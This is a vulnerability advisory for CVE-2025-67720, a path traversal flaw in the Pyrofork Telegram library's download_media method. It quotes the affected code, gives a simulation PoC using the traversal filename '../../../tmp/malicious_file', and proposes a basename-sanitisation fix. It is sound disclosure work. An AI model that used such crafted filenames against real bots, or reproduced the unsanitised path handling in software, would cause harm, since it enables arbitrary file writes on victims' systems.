CVE-2025-67720

Description

## Summary The `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename. --- ## Details When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram's `DocumentAttributeFilename` and is controlled by the message sender. ### Vulnerable Code Path **Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151): ```python media_file_name = getattr(media, "file_name", "") # Value from Telegram message directory, file_name = os.path.split(file_name) # Split user's path parameter file_name = file_name or media_file_name or "" # Falls back to media_file_name if empty ``` When a user calls `download_media(message)` or `download_media(message, "downloads/")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled. **Step 2**: In `pyrogram/client.py` (line 1125): ```python temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp" ``` The `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory. ### Why the existing `isabs` check is insufficient The check at line 153 in `download_media.py`: ```python if not os.path.isabs(file_name): directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR) ``` This check only handles absolute paths by skipping the directory prefix, but: 1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn't catch it 2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly --- ## PoC The following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`: ```python #!/usr/bin/env python3 """ Path Traversal PoC for Pyrofork download_media Demonstrates CWE-22 vulnerability in filename handling """ import os import shutil import tempfile from pathlib import Path from dataclasses import dataclass @dataclass class MockDocument: """Simulates a Telegram Document with attacker-controlled file_name""" file_id: str file_name: str # Attacker-controlled! @dataclass class MockMessage: """Simulates a Telegram Message""" document: MockDocument DEFAULT_DOWNLOAD_DIR = "downloads/" def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR): """ Simulates the vulnerable logic from: - pyrogram/methods/messages/download_media.py (lines 145-154) - pyrogram/client.py (line 1125) """ media = message.document media_file_name = getattr(media, "file_name", "") # Line 150-151: Split and fallback directory, file_name = os.path.split(file_name) file_name = file_name or media_file_name or "" # Line 153-154: isabs check (insufficient!) if not os.path.isabs(file_name): directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR) if not file_name: file_name = "generated_file.bin" # Line 1125 in client.py: Path construction import re temp_file_path = os.path.abspath( re.sub("\\\\", "/", os.path.join(str(directory), file_name)) ) + ".temp" return temp_file_path def run_poc(): print("=" * 60) print("PYROFORK PATH TRAVERSAL PoC") print("=" * 60) with tempfile.TemporaryDirectory() as temp_base: parent_dir = Path(temp_base) expected_dir = str(parent_dir / "downloads") print(f"\n[*] Bot working directory: {parent_dir}") print(f"[*] Expected download dir: {expected_dir}") # Attack: Path traversal with ../ print("\n" + "-" * 60) print("TEST: Path Traversal Attack") print("-" * 60) malicious_msg = MockMessage( document=MockDocument( file_id="test_id", file_name="../../../tmp/malicious_file" ) ) result_path = vulnerable_download_media( parent_dir=parent_dir, message=malicious_msg, file_name="downloads/" ) # Remove .temp suffix for final path final_path = os.path.splitext(result_path)[0] print(f"[*] Malicious filename: ../../../tmp/malicious_file") print(f"[*] Resulting path: {final_path}") if not final_path.startswith(expected_dir): print(f"\n[!] VULNERABILITY CONFIRMED") print(f"[!] File path escapes intended directory!") print(f"[!] Expected: {expected_dir}/...") print(f"[!] Actual: {final_path}") else: print("[*] Path is within expected directory") if __name__ == "__main__": run_poc() ``` ### How to Run Save the above script and run: ```bash python3 poc_script.py ``` ### Expected Output ``` ============================================================ PYROFORK PATH TRAVERSAL PoC ============================================================ [*] Bot working directory: /tmp/tmpXXXXXX [*] Expected download dir: /tmp/tmpXXXXXX/downloads ------------------------------------------------------------ TEST: Path Traversal Attack ------------------------------------------------------------ [*] Malicious filename: ../../../tmp/malicious_file [*] Resulting path: /tmp/malicious_file [!] VULNERABILITY CONFIRMED [!] File path escapes intended directory! [!] Expected: /tmp/tmpXXXXXX/downloads/... [!] Actual: /tmp/malicious_file ``` ### Why This Proves the Vulnerability 1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py` 2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file` 3. Python's `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library --- ## Impact ### Who is affected? - Telegram bots or user accounts using Pyrofork that download media with default parameters - The common usage pattern `await client.download_media(message)` is affected ### Conditions required for exploitation 1. Attacker must be able to send messages to the victim's bot/account 2. Victim must download the media without specifying a custom filename 3. The bot process must have write permissions to the target location ### Potential consequences - **Arbitrary file write** to locations writable by the bot process - Overwriting existing files could cause denial of service or configuration issues - In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges) --- ## Recommended Fix Add filename sanitization in `download_media.py` after line 151: ```python file_name = file_name or media_file_name or "" # Add this sanitization block: if file_name: # Remove any path components, keeping only the basename file_name = os.path.basename(file_name) # Remove null bytes which could cause issues file_name = file_name.replace('\x00', '') # Handle edge cases if not file_name or file_name in ('.', '..'): file_name = "" ``` This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths. --- Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.